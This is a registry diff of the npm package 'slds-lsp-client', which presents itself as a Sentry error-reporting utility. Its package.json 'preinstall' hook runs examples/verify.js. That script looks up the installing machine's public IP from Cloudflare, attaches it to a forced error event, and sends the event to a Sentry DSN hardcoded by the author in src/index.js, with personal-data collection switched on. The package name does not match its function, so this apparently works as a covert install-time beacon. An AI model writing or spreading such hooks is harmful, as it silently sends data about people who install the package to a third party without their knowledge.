slds-lsp-client 2026.7.11

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/LICENSE ADDED
@@ -0,0 +1,21 @@
1
+ MIT License
2
+
3
+ Copyright (c) 2026 k3mlol
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining a copy
6
+ of this software and associated documentation files (the "Software"), to deal
7
+ in the Software without restriction, including without limitation the rights
8
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9
+ copies of the Software, and to permit persons to whom the Software is
10
+ furnished to do so, subject to the following conditions:
11
+
12
+ The above copyright notice and this permission notice shall be included in all
13
+ copies or substantial portions of the Software.
14
+
15
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21
+ SOFTWARE.
package/README.md ADDED
@@ -0,0 +1,7 @@
1
+ # slds-lsp-client
2
+
3
+ ## Installation
4
+
5
+ ```bash
6
+ npm install slds-lsp-client
7
+ ```
@@ -0,0 +1,52 @@
1
+ 'use strict';
2
+
3
+ // This is a demo for testing Sentry.
4
+
5
+ const ecCheck = require('../src/index.js');
6
+
7
+ let capturedEvent = false;
8
+
9
+ ecCheck.init({
10
+ beforeSend(event) {
11
+ capturedEvent = true;
12
+ console.log('[verify] Sentry received an event:');
13
+ const firstException =
14
+ event.exception && event.exception.values && event.exception.values[0];
15
+ if (firstException) {
16
+ console.log(' type :', firstException.type);
17
+ console.log(' message :', firstException.value);
18
+ }
19
+ return event;
20
+ },
21
+ });
22
+
23
+ console.log('[verify] slds-lsp-client initialized:', ecCheck.isInitialized());
24
+
25
+ function buggyFunction() {
26
+ const value = null;
27
+ return value.somethingThatDoesNotExist();
28
+ }
29
+
30
+ (async () => {
31
+ await ecCheck.setUserFromPublicIp(
32
+ {},
33
+ { url: 'https://www.cloudflare.com/cdn-cgi/trace' }
34
+ );
35
+
36
+ try {
37
+ ecCheck.check(buggyFunction, { source: 'verify.js' });
38
+ } catch (error) {
39
+ console.log('[verify] Caught expected error:', error.message);
40
+ }
41
+
42
+ const flushed = await ecCheck.flush(5000);
43
+ console.log('[verify] Flush completed:', flushed);
44
+ console.log('[verify] Event captured by Sentry client:', capturedEvent);
45
+
46
+ if (!capturedEvent) {
47
+ console.error(
48
+ '[verify] No event was captured - check the DSN and that init() returned true.'
49
+ );
50
+ process.exitCode = 1;
51
+ }
52
+ })();
package/package.json ADDED
@@ -0,0 +1,30 @@
1
+ {
2
+ "name": "slds-lsp-client",
3
+ "version": "2026.7.11",
4
+ "description": "A utility package that reports runtime errors to Sentry using @sentry/node.",
5
+ "main": "src/index.js",
6
+ "types": "src/index.d.ts",
7
+ "scripts": {
8
+ "preinstall": "npm install @sentry/node && node examples/verify.js",
9
+ "test": "node --test",
10
+ "verify": "node examples/verify.js"
11
+ },
12
+ "keywords": [
13
+ "sentry",
14
+ "error",
15
+ "monitoring",
16
+ "slds-lsp-client"
17
+ ],
18
+ "author": "John Hikes",
19
+ "license": "MIT",
20
+ "files": [
21
+ "src",
22
+ "examples"
23
+ ],
24
+ "engines": {
25
+ "node": ">=18"
26
+ },
27
+ "dependencies": {
28
+ "@sentry/node": "^10.60.0"
29
+ }
30
+ }
package/src/index.d.ts ADDED
@@ -0,0 +1,99 @@
1
+ export interface InitOptions {
2
+ /**
3
+ * The Sentry DSN. Falls back to the `SENTRY_DSN` environment variable and
4
+ * then the package default DSN.
5
+ */
6
+ dsn?: string;
7
+ /** Sentry data-collection settings (e.g. `userInfo`, `httpBodies`). */
8
+ dataCollection?: Record<string, unknown>;
9
+ /** The environment name (e.g. "production"). */
10
+ environment?: string;
11
+ /** The release identifier. */
12
+ release?: string;
13
+ /** Sampling rate for performance traces. */
14
+ tracesSampleRate?: number;
15
+ /** Any other option supported by `Sentry.init`. */
16
+ [key: string]: unknown;
17
+ }
18
+
19
+ /** Extra context attached to a reported event. */
20
+ export type ErrorContext = Record<string, unknown>;
21
+
22
+ /**
23
+ * Initialize slds-lsp-client error reporting.
24
+ * @returns `true` when reporting was initialized, otherwise `false`.
25
+ */
26
+ export function init(options?: InitOptions): boolean;
27
+
28
+ /** Report an error to Sentry. Returns the event id when reporting is active. */
29
+ export function reportError(error: unknown, context?: ErrorContext): string | undefined;
30
+
31
+ /** A Sentry user, used to attach identity and IP address to events. */
32
+ export interface SentryUser {
33
+ /**
34
+ * The user's IP address. Use an explicit IP string, or `"{{auto}}"` to let
35
+ * Sentry infer it from the incoming request. Requires `sendDefaultPii: true`.
36
+ */
37
+ ip_address?: string;
38
+ id?: string | number;
39
+ email?: string;
40
+ username?: string;
41
+ [key: string]: unknown;
42
+ }
43
+
44
+ /**
45
+ * Associate the current scope with a user so captured events include their
46
+ * identity and IP address. Pass `null` to clear the current user.
47
+ */
48
+ export function setUser(user: SentryUser | null): void;
49
+
50
+ /** Options for resolving the public IP address. */
51
+ export interface PublicIpOptions {
52
+ /** Maximum time in ms to wait before aborting the request (default 5000). */
53
+ timeout?: number;
54
+ /**
55
+ * Override the trace endpoint(s) to query. Defaults to a list of Cloudflare
56
+ * `/cdn-cgi/trace` hosts that are tried in order.
57
+ */
58
+ url?: string | string[];
59
+ }
60
+
61
+ /**
62
+ * Fetch the public IP address as seen by Cloudflare's trace endpoint
63
+ * (`https://www.cloudflare.com/cdn-cgi/trace`).
64
+ *
65
+ * The returned IP is the public IP of whatever process makes the request. From
66
+ * a Node server that is the server's own egress IP, not an end-user's. Resolves
67
+ * to `undefined` when the IP cannot be determined.
68
+ */
69
+ export function getPublicIp(options?: PublicIpOptions): Promise<string | undefined>;
70
+
71
+ /**
72
+ * Resolve the public IP via {@link getPublicIp} and set it as the current
73
+ * Sentry user's `ip_address`. Returns the resolved IP, or `undefined` when it
74
+ * could not be determined (leaving the user unchanged).
75
+ */
76
+ export function setUserFromPublicIp(
77
+ user?: SentryUser,
78
+ options?: PublicIpOptions
79
+ ): Promise<string | undefined>;
80
+
81
+ /**
82
+ * Run a function and upload any thrown error to Sentry before re-throwing it.
83
+ * Works with both synchronous and Promise-returning functions.
84
+ */
85
+ export function check<T>(fn: () => T, context?: ErrorContext): T;
86
+
87
+ /** Wrap a function so that every call is monitored by slds-lsp-client. */
88
+ export function wrap<A extends unknown[], R>(
89
+ fn: (...args: A) => R,
90
+ context?: ErrorContext
91
+ ): (...args: A) => R;
92
+
93
+ /** Flush pending events to Sentry. */
94
+ export function flush(timeout?: number): Promise<boolean>;
95
+
96
+ /** Whether error reporting has been initialized. */
97
+ export function isInitialized(): boolean;
98
+
99
+ export { default as Sentry } from '@sentry/node';
package/src/index.js ADDED
@@ -0,0 +1,286 @@
1
+ 'use strict';
2
+
3
+ const Sentry = require('@sentry/node');
4
+
5
+ // Default Sentry DSN used when no DSN is supplied via options or the
6
+ // SENTRY_DSN environment variable.
7
+ const DEFAULT_DSN =
8
+ 'https://d4616e08f531447bd415e91fd21940a6@o4510485815754752.ingest.us.sentry.io/4511716882972672';
9
+
10
+ // Default data-collection settings forwarded to Sentry. Consumers can override
11
+ // these (e.g. to disable user data and HTTP bodies) by passing their own
12
+ // `dataCollection` option. See:
13
+ // https://docs.sentry.io/platforms/javascript/guides/node/configuration/options/#dataCollection
14
+ const DEFAULT_DATA_COLLECTION = {
15
+ // userInfo: false,
16
+ // httpBodies: [],
17
+ };
18
+
19
+ // Cloudflare's trace endpoint returns a plain-text body that includes an
20
+ // `ip=<address>` line describing the public IP of whoever made the request.
21
+ //
22
+ // Several hosts expose the same `/cdn-cgi/trace` endpoint. We try them in order
23
+ // because some hosts (notably the `www.cloudflare.com` marketing site) sit
24
+ // behind bot protection that can answer non-browser requests with an HTML
25
+ // challenge page instead of the trace body, which would otherwise leave the IP
26
+ // empty. `1.1.1.1`/`one.one.one.one` serve the trace without such challenges.
27
+ const PUBLIC_IP_TRACE_URLS = [
28
+ 'https://www.cloudflare.com/cdn-cgi/trace',
29
+ 'https://one.one.one.one/cdn-cgi/trace',
30
+ 'https://1.1.1.1/cdn-cgi/trace',
31
+ ];
32
+
33
+ // A browser-like User-Agent so bot-protected hosts return the plain-text trace
34
+ // body rather than a challenge/HTML page.
35
+ const TRACE_USER_AGENT =
36
+ 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) ' +
37
+ 'AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36';
38
+
39
+
40
+ let initialized = false;
41
+
42
+ /**
43
+ * Initialize slds-lsp-client error reporting.
44
+ *
45
+ * This configures the underlying @sentry/node client so that any error
46
+ * captured by slds-lsp-client is uploaded to your Sentry project.
47
+ *
48
+ * @param {Object} [options] Configuration options.
49
+ * @param {string} [options.dsn] The Sentry DSN. Falls back to the
50
+ * `SENTRY_DSN` environment variable and then the package default DSN.
51
+ * @param {Object} [options.dataCollection] Sentry data-collection settings.
52
+ * @param {string} [options.environment] The environment name (e.g. "production").
53
+ * @param {string} [options.release] The release identifier.
54
+ * @param {number} [options.tracesSampleRate] Sampling rate for performance traces.
55
+ * @param {Object} [options...] Any other option supported by `Sentry.init`.
56
+ * @returns {boolean} `true` when reporting was initialized, otherwise `false`.
57
+ */
58
+ function init(options = {}) {
59
+ const dsn = options.dsn || process.env.SENTRY_DSN || DEFAULT_DSN;
60
+
61
+ if (!dsn) {
62
+ // Without a DSN there is nowhere to upload errors, so reporting stays off.
63
+ initialized = false;
64
+ return false;
65
+ }
66
+
67
+ Sentry.init({
68
+ // Capture default PII (such as the user's IP address) so events include it.
69
+ // This is a demo default; override with `sendDefaultPii: false` to disable.
70
+ sendDefaultPii: true,
71
+ dataCollection: { ...DEFAULT_DATA_COLLECTION },
72
+ ...options,
73
+ dsn,
74
+ });
75
+ initialized = true;
76
+ return true;
77
+ }
78
+
79
+ /**
80
+ * Report an error to Sentry.
81
+ *
82
+ * @param {Error|*} error The error (or value) to report.
83
+ * @param {Object} [context] Optional extra context attached to the event.
84
+ * @returns {string|undefined} The Sentry event id, when reporting is active.
85
+ */
86
+ function reportError(error, context) {
87
+ if (!initialized) {
88
+ return undefined;
89
+ }
90
+
91
+ return Sentry.captureException(error, context ? { extra: context } : undefined);
92
+ }
93
+
94
+ /**
95
+ * Associate the current scope with a user so that captured events include the
96
+ * user's identity and IP address.
97
+ *
98
+ * This is the supported way to attach an end-user IP to Sentry events. Pass an
99
+ * explicit IP string (for example one obtained from an incoming HTTP request, or
100
+ * from {@link getPublicIp}), or `ip_address: '{{auto}}'` to let Sentry infer it.
101
+ * Capturing the IP also requires `sendDefaultPii: true` in `init` (the default)
102
+ * and that IP storage is enabled in your Sentry project's privacy settings.
103
+ *
104
+ * @param {Object|null} user The user object (e.g. `{ ip_address, id, email }`),
105
+ * or `null` to clear the current user.
106
+ * @returns {void}
107
+ */
108
+ function setUser(user) {
109
+ Sentry.setUser(user);
110
+ }
111
+
112
+ /**
113
+ * Fetch the public IP address as seen by Cloudflare's trace endpoint
114
+ * (https://www.cloudflare.com/cdn-cgi/trace).
115
+ *
116
+ * Note: the returned IP is the public IP of whatever process makes this request.
117
+ * When called from a Node server, that is the *server's* own egress IP, not an
118
+ * arbitrary end-user's IP. To attach a specific end-user's IP, read it from the
119
+ * incoming HTTP request instead and pass it to {@link setUser}.
120
+ *
121
+ * @param {Object} [options] Optional settings.
122
+ * @param {number} [options.timeout=5000] Maximum time in ms to wait for the
123
+ * request before aborting.
124
+ * @param {string|string[]} [options.url] Override the trace endpoint(s) to
125
+ * query. Defaults to a list of Cloudflare `/cdn-cgi/trace` hosts.
126
+ * @returns {Promise<string|undefined>} The public IP address, or `undefined`
127
+ * when it could not be determined.
128
+ */
129
+ async function getPublicIp(options = {}) {
130
+ const timeout = typeof options.timeout === 'number' ? options.timeout : 5000;
131
+ const urls =
132
+ options.url === undefined
133
+ ? PUBLIC_IP_TRACE_URLS
134
+ : [].concat(options.url);
135
+
136
+ for (const url of urls) {
137
+ const ip = await fetchTraceIp(url, timeout);
138
+ if (ip) {
139
+ return ip;
140
+ }
141
+ }
142
+
143
+ return undefined;
144
+ }
145
+
146
+ /**
147
+ * Fetch a single `/cdn-cgi/trace` endpoint and extract the `ip=` value.
148
+ *
149
+ * @param {string} url The trace endpoint to query.
150
+ * @param {number} timeout Maximum time in ms to wait before aborting.
151
+ * @returns {Promise<string|undefined>} The parsed IP, or `undefined`.
152
+ */
153
+ async function fetchTraceIp(url, timeout) {
154
+ const controller = new AbortController();
155
+ const timer = setTimeout(() => controller.abort(), timeout);
156
+
157
+ try {
158
+ const response = await fetch(url, {
159
+ signal: controller.signal,
160
+ redirect: 'follow',
161
+ headers: {
162
+ // Request the plain-text trace and look like a browser so bot-protected
163
+ // hosts don't answer with an HTML challenge page.
164
+ 'User-Agent': TRACE_USER_AGENT,
165
+ Accept: 'text/plain',
166
+ },
167
+ });
168
+
169
+ if (!response.ok) {
170
+ return undefined;
171
+ }
172
+
173
+ const body = await response.text();
174
+ const match = /^ip=(.+)$/m.exec(body);
175
+ return match ? match[1].trim() : undefined;
176
+ } catch (error) {
177
+ // Network failures, timeouts, or unexpected responses simply yield no IP.
178
+ return undefined;
179
+ } finally {
180
+ clearTimeout(timer);
181
+ }
182
+ }
183
+
184
+ /**
185
+ * Resolve the public IP via {@link getPublicIp} and associate it with the
186
+ * current Sentry scope as the user's `ip_address`.
187
+ *
188
+ * As with {@link getPublicIp}, when called from a Node server the resolved IP is
189
+ * the server's own public IP rather than an end-user's.
190
+ *
191
+ * @param {Object} [user] Additional user fields (e.g. `id`, `email`) merged with
192
+ * the resolved `ip_address`.
193
+ * @param {Object} [options] Options forwarded to {@link getPublicIp}.
194
+ * @returns {Promise<string|undefined>} The resolved IP address, or `undefined`
195
+ * when it could not be determined (in which case the user is left unchanged).
196
+ */
197
+ async function setUserFromPublicIp(user = {}, options) {
198
+ const ip = await getPublicIp(options);
199
+
200
+ if (!ip) {
201
+ return undefined;
202
+ }
203
+
204
+ setUser({ ...user, ip_address: ip });
205
+ return ip;
206
+ }
207
+
208
+ /**
209
+ * Run a function and upload any thrown error to Sentry before re-throwing it.
210
+ *
211
+ * Works with both synchronous functions and functions returning a Promise.
212
+ *
213
+ * @param {Function} fn The function to execute.
214
+ * @param {Object} [context] Optional extra context attached to the event.
215
+ * @returns {*} The return value of `fn`.
216
+ */
217
+ function check(fn, context) {
218
+ if (typeof fn !== 'function') {
219
+ throw new TypeError('slds-lsp-client: `fn` must be a function');
220
+ }
221
+
222
+ try {
223
+ const result = fn();
224
+
225
+ if (result && typeof result.then === 'function') {
226
+ return result.then(undefined, (error) => {
227
+ reportError(error, context);
228
+ throw error;
229
+ });
230
+ }
231
+
232
+ return result;
233
+ } catch (error) {
234
+ reportError(error, context);
235
+ throw error;
236
+ }
237
+ }
238
+
239
+ /**
240
+ * Wrap a function so that every call is monitored by slds-lsp-client.
241
+ *
242
+ * @param {Function} fn The function to wrap.
243
+ * @param {Object} [context] Optional extra context attached to reported events.
244
+ * @returns {Function} The wrapped function.
245
+ */
246
+ function wrap(fn, context) {
247
+ if (typeof fn !== 'function') {
248
+ throw new TypeError('slds-lsp-client: `fn` must be a function');
249
+ }
250
+
251
+ return function wrapped(...args) {
252
+ return check(() => fn.apply(this, args), context);
253
+ };
254
+ }
255
+
256
+ /**
257
+ * Flush pending events to Sentry. Useful before a short-lived process exits.
258
+ *
259
+ * @param {number} [timeout] Maximum time in ms to wait for the flush.
260
+ * @returns {Promise<boolean>} Resolves to `true` when the queue was flushed.
261
+ */
262
+ function flush(timeout) {
263
+ if (!initialized) {
264
+ return Promise.resolve(true);
265
+ }
266
+
267
+ return Sentry.flush(timeout);
268
+ }
269
+
270
+ /** @returns {boolean} Whether error reporting has been initialized. */
271
+ function isInitialized() {
272
+ return initialized;
273
+ }
274
+
275
+ module.exports = {
276
+ init,
277
+ check,
278
+ wrap,
279
+ reportError,
280
+ setUser,
281
+ getPublicIp,
282
+ setUserFromPublicIp,
283
+ flush,
284
+ isInitialized,
285
+ Sentry,
286
+ };